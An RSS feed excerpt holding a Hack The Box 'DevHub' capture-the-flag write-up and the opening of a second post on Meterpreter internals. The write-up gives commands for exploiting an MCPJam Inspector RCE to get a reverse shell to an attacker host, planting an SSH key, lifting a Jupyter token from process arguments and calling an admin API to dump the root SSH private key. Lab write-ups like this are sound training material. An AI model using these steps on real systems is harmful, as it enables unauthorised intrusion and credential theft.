<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: nimesh nakum</title>
    <description>The latest articles on DEV Community by nimesh nakum (@redforge).</description>
    <link>https://dev.to/redforge</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F3975089%2Fc9d2936b-3a0f-48bb-94ca-e3960e65ab15.png</url>
      <title>DEV Community: nimesh nakum</title>
      <link>https://dev.to/redforge</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/redforge"/>
    <language>en</language>
    <item>
      <title># Hack The Box — DevHub Writeup</title>
      <dc:creator>nimesh nakum</dc:creator>
      <pubDate>Tue, 01 Sep 2026 17:26:46 +0000</pubDate>
      <link>https://dev.to/redforge/-hack-the-box-devhub-writeup-4a9g</link>
      <guid>https://dev.to/redforge/-hack-the-box-devhub-writeup-4a9g</guid>
      <description>&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;OS:&lt;/strong&gt; Linux&lt;br&gt;
&lt;strong&gt;Difficulty:&lt;/strong&gt; Medium&lt;br&gt;
&lt;strong&gt;Initial Access:&lt;/strong&gt; MCPJam Inspector RCE&lt;br&gt;
&lt;strong&gt;Privilege Escalation:&lt;/strong&gt; JupyterLab → analyst → OPSMCP API → root SSH key&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h1&gt;
  
  
  1. Overview
&lt;/h1&gt;

&lt;p&gt;DevHub is a Linux machine focused around an internal developer environment.&lt;/p&gt;

&lt;p&gt;The attack chain was:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;MCPJam 1.4.2
      |
      | CVE-2026-23744
      v
   mcp-dev
      |
      | Jupyter token
      v
   analyst
      |
      | OPSMCP API
      v
 Root SSH Private Key
      |
      v
     root
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The interesting part of this box was not a single exploit. The real challenge was connecting the information discovered during enumeration.&lt;/p&gt;




&lt;h1&gt;
  
  
  2. Reconnaissance
&lt;/h1&gt;

&lt;p&gt;I started with a full port scan:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nmap &lt;span class="nt"&gt;-p-&lt;/span&gt; &amp;lt;TARGET_IP&amp;gt; &lt;span class="nt"&gt;-v&lt;/span&gt; &lt;span class="nt"&gt;-oA&lt;/span&gt; nmap/devhub_full_port
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Three ports were open:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;22/tcp
80/tcp
6274/tcp
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;I then performed service enumeration:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;-sC&lt;/span&gt; &lt;span class="nt"&gt;-sV&lt;/span&gt; &lt;span class="nt"&gt;-p&lt;/span&gt; 22,80,6274 &amp;lt;TARGET_IP&amp;gt; &lt;span class="nt"&gt;-oA&lt;/span&gt; nmap/devhub &lt;span class="nt"&gt;-v&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The important results were:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;22/tcp   open  ssh
80/tcp   open  http
6274/tcp open  unknown
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Port 80 was running an nginx web application titled:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;DevHub - Internal Development Platform
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;I added the hostname:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"&amp;lt;TARGET_IP&amp;gt; devhub.htb"&lt;/span&gt; | &lt;span class="nb"&gt;sudo tee&lt;/span&gt; &lt;span class="nt"&gt;-a&lt;/span&gt; /etc/hosts
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;and visited:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;http://devhub.htb
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The website revealed two interesting services:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;MCP Inspector running on port &lt;code&gt;6274&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;An internal Jupyter-based analytics environment on &lt;code&gt;127.0.0.1:8888&lt;/code&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The Jupyter service was not externally accessible, but I kept it in mind for later.&lt;/p&gt;




&lt;h1&gt;
  
  
  3. MCPJam Inspector
&lt;/h1&gt;

&lt;p&gt;Visiting:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;http://devhub.htb:6274
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;revealed an MCPJam Inspector interface.&lt;/p&gt;

&lt;p&gt;The running version was:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;MCPJam Inspector v1.4.2
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Searching for vulnerabilities in this version led to:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;CVE-2026-23744
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;which affects MCPJam Inspector and allows unauthenticated remote code execution through the MCP connection functionality.&lt;/p&gt;

&lt;p&gt;The vulnerable endpoint is:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;POST /api/mcp/connect
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;I used the available exploit to execute a command on the target.&lt;/p&gt;




&lt;h1&gt;
  
  
  4. Initial Access
&lt;/h1&gt;

&lt;p&gt;I started a listener:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nc &lt;span class="nt"&gt;-lvnp&lt;/span&gt; 4444
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;and executed the exploit:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;python exploit.py &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;--lport&lt;/span&gt; 4444 &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;--lhost&lt;/span&gt; &amp;lt;ATTACKER_IP&amp;gt; &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-p&lt;/span&gt; 6274 &lt;span class="se"&gt;\&lt;/span&gt;
    devhub.htb
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The connection came back as:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;mcp-dev@devhub:/opt/mcpjam/node_modules/@mcpjam/inspector$
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Initial access achieved:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;mcp-dev
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;At this point, the attack path changed from external exploitation to local enumeration.&lt;/p&gt;




&lt;h1&gt;
  
  
  5. Getting a Stable SSH Shell
&lt;/h1&gt;

&lt;p&gt;Since SSH was already open on port 22, I configured my public key for &lt;code&gt;mcp-dev&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;On my attacking machine:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ssh-keygen &lt;span class="nt"&gt;-t&lt;/span&gt; ed25519 &lt;span class="nt"&gt;-f&lt;/span&gt; ~/.ssh/htb_ed25519
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;On the target:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;mkdir&lt;/span&gt; &lt;span class="nt"&gt;-p&lt;/span&gt; ~/.ssh
&lt;span class="nb"&gt;chmod &lt;/span&gt;700 ~/.ssh
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s1"&gt;'YOUR_PUBLIC_KEY_HERE'&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt; ~/.ssh/authorized_keys
&lt;span class="nb"&gt;chmod &lt;/span&gt;600 ~/.ssh/authorized_keys
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Then:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ssh &lt;span class="nt"&gt;-i&lt;/span&gt; ~/.ssh/htb_ed25519 mcp-dev@&amp;lt;TARGET_IP&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now I had a stable SSH shell.&lt;/p&gt;




&lt;h1&gt;
  
  
  6. Looking for the Next User
&lt;/h1&gt;

&lt;p&gt;The web application had previously mentioned an internal Jupyter service on port &lt;code&gt;8888&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Since I now had local access, I checked the running processes:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ps aux
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Instead of searching randomly, I specifically looked for the Jupyter service I had already discovered during reconnaissance:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ps aux | &lt;span class="nb"&gt;grep &lt;/span&gt;8888
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This revealed:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;analyst ... jupyter-lab
--ip=127.0.0.1
--port=8888
...
--ServerApp.token=&amp;lt;REDACTED&amp;gt;
--ServerApp.password=
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This was a very interesting finding.&lt;/p&gt;

&lt;p&gt;The Jupyter instance was:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Running as: analyst
Listening on: 127.0.0.1:8888
Authentication: token
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;and, most importantly, the token was visible directly in the process command line.&lt;/p&gt;




&lt;h1&gt;
  
  
  7. Jupyter Token
&lt;/h1&gt;

&lt;p&gt;The token was enough to authenticate to the Jupyter API.&lt;/p&gt;

&lt;p&gt;I tested it with:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="s2"&gt;"http://127.0.0.1:8888/api?token=&amp;lt;JUPYTER_TOKEN&amp;gt;"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The server returned:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"version"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"2.17.0"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;So the token was valid.&lt;/p&gt;

&lt;p&gt;I also checked the available notebooks:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="s2"&gt;"http://127.0.0.1:8888/api/contents?token=&amp;lt;JUPYTER_TOKEN&amp;gt;"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This revealed:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;quarterly_analysis.ipynb
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The notebook itself did not contain anything particularly useful.&lt;/p&gt;

&lt;p&gt;The important discovery was the Jupyter API access.&lt;/p&gt;




&lt;h1&gt;
  
  
  8. Getting Access as Analyst
&lt;/h1&gt;

&lt;p&gt;The Jupyter server allowed authenticated users to create Python kernels.&lt;/p&gt;

&lt;p&gt;I created one through the API:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="nt"&gt;-X&lt;/span&gt; POST &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s1"&gt;'Content-Type: application/json'&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s1"&gt;'{"name":"python3"}'&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="s2"&gt;"http://127.0.0.1:8888/api/kernels?token=&amp;lt;JUPYTER_TOKEN&amp;gt;"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The kernel was then running as &lt;code&gt;analyst&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;This can be confirmed through process enumeration:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ps aux | &lt;span class="nb"&gt;grep &lt;/span&gt;ipykernel
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;which showed an &lt;code&gt;ipykernel_launcher&lt;/code&gt; process owned by:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;analyst
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;So the privilege transition was:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;mcp-dev
   |
   | Jupyter token
   v
Jupyter API
   |
   | Create Python kernel
   v
analyst
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;I then used the Jupyter interface/kernel to execute commands as &lt;code&gt;analyst&lt;/code&gt; and obtained the user flag.&lt;/p&gt;




&lt;h1&gt;
  
  
  9. Enumerating Analyst
&lt;/h1&gt;

&lt;p&gt;Now that I had access as &lt;code&gt;analyst&lt;/code&gt;, I started looking for services running with higher privileges.&lt;/p&gt;

&lt;p&gt;One particularly interesting process was:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;root ... /home/analyst/jupyter-env/bin/python3 /opt/opsmcp/server.py
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;So we had a custom Python service:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;/opt/opsmcp/server.py
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;running as:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;root
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This immediately made the source code worth investigating.&lt;/p&gt;




&lt;h1&gt;
  
  
  10. OPSMCP
&lt;/h1&gt;

&lt;p&gt;Reading the source code revealed that &lt;code&gt;server.py&lt;/code&gt; was a Flask-based internal MCP operations server.&lt;/p&gt;

&lt;p&gt;More importantly, the source contained a hard-coded API key.&lt;/p&gt;

&lt;p&gt;The authentication mechanism looked like:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;check_auth&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
    &lt;span class="n"&gt;api_key&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;X-API-Key&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;''&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;api_key&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;VALID_API_KEY&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The application also exposed a tool-calling endpoint:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;POST /tools/call
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;While inspecting the available tools, I found:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;ops._admin_dump
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This was especially interesting because the function contained functionality for dumping sensitive information.&lt;/p&gt;

&lt;p&gt;The relevant code was effectively:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;target&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;ssh_keys&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="nf"&gt;open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;/root/.ssh/id_rsa&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;r&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;key_data&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;read&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;jsonify&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
        &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;target&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;ssh_keys&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;root_private_key&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;key_data&lt;/span&gt;
    &lt;span class="p"&gt;})&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;So the root-owned service had an administrative function capable of reading the root SSH private key.&lt;/p&gt;




&lt;h1&gt;
  
  
  11. Dumping the Root SSH Key
&lt;/h1&gt;

&lt;p&gt;Using the API key found in &lt;code&gt;server.py&lt;/code&gt;, I sent an authenticated request to the local OPSMCP API:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="nt"&gt;-X&lt;/span&gt; POST &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="s1"&gt;'http://localhost:5000/tools/call'&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s1"&gt;'X-API-Key: &amp;lt;OPSMCP_API_KEY&amp;gt;'&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s1"&gt;'Content-Type: application/json'&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s1"&gt;'{
        "name": "ops._admin_dump",
        "arguments": {
            "confirm": true,
            "target": "ssh_keys"
        }
    }'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The API returned the root SSH private key.&lt;/p&gt;

&lt;p&gt;I saved the key locally:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;vi ~/.ssh/htb/devhub
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;and applied the correct permissions:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;chmod &lt;/span&gt;600 ~/.ssh/htb/devhub
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h1&gt;
  
  
  12. Root
&lt;/h1&gt;

&lt;p&gt;Finally:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ssh &lt;span class="nt"&gt;-i&lt;/span&gt; ~/.ssh/htb/devhub root@&amp;lt;TARGET_IP&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The SSH connection succeeded:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;root@devhub
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And the root flag was:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cat&lt;/span&gt; /root/root.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Root access achieved.&lt;/p&gt;




&lt;h1&gt;
  
  
  13. Final Attack Chain
&lt;/h1&gt;

&lt;p&gt;The complete path was:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Port 80
   |
   | Discover MCPJam
   v
MCPJam Inspector 1.4.2
   |
   | CVE-2026-23744
   v
mcp-dev
   |
   | ps aux
   | Jupyter token discovered
   v
JupyterLab :8888
   |
   | Authenticated kernel creation
   v
analyst
   |
   | Enumerate root services
   v
/opt/opsmcp/server.py
   |
   | Hard-coded API key
   v
OPSMCP API :5000
   |
   | ops._admin_dump
   v
/root/.ssh/id_rsa
   |
   | SSH
   v
root
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h1&gt;
  
  
  14. What I Learned
&lt;/h1&gt;

&lt;p&gt;The most important lesson from DevHub was to &lt;strong&gt;connect information from different stages of enumeration&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;During the initial web enumeration, I found:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Jupyter → 127.0.0.1:8888
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;At that point it was not directly accessible.&lt;/p&gt;

&lt;p&gt;After getting the initial shell, I remembered that service and searched for it:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ps aux | &lt;span class="nb"&gt;grep &lt;/span&gt;8888
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That revealed the Jupyter token.&lt;/p&gt;

&lt;p&gt;The token led to &lt;code&gt;analyst&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;From &lt;code&gt;analyst&lt;/code&gt;, I found the root-owned OPSMCP service.&lt;/p&gt;

&lt;p&gt;The source code revealed the API key.&lt;/p&gt;

&lt;p&gt;The API exposed the root SSH key.&lt;/p&gt;

&lt;p&gt;And the root key gave me SSH access as &lt;code&gt;root&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;So the box was essentially a chain of:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;RCE
  ↓
Local Enumeration
  ↓
Credential Exposure
  ↓
User Pivot
  ↓
Source Code Enumeration
  ↓
API Abuse
  ↓
Credential Disclosure
  ↓
Root
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The biggest takeaway for me is:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Don't just enumerate the machine. Remember what you found earlier and revisit it when your access level changes.&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;

</description>
      <category>cybersecurity</category>
      <category>htb</category>
      <category>offesivesecurity</category>
      <category>webpentesting</category>
    </item>
    <item>
      <title>Meterpreter Internals — How Reflective DLL Injection Actually Works</title>
      <dc:creator>nimesh nakum</dc:creator>
      <pubDate>Thu, 27 Aug 2026 04:13:41 +0000</pubDate>
      <link>https://dev.to/redforge/meterpreter-internals-how-reflective-dll-injection-actually-works-2ccd</link>
      <guid>https://dev.to/redforge/meterpreter-internals-how-reflective-dll-injection-actually-works-2ccd</guid>
      <description>&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fmx93r020nbb9um7a0u14.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fmx93r020nbb9um7a0u14.png" alt=" " width="800" height="533"&gt;&lt;/a&gt;&lt;/p&gt;

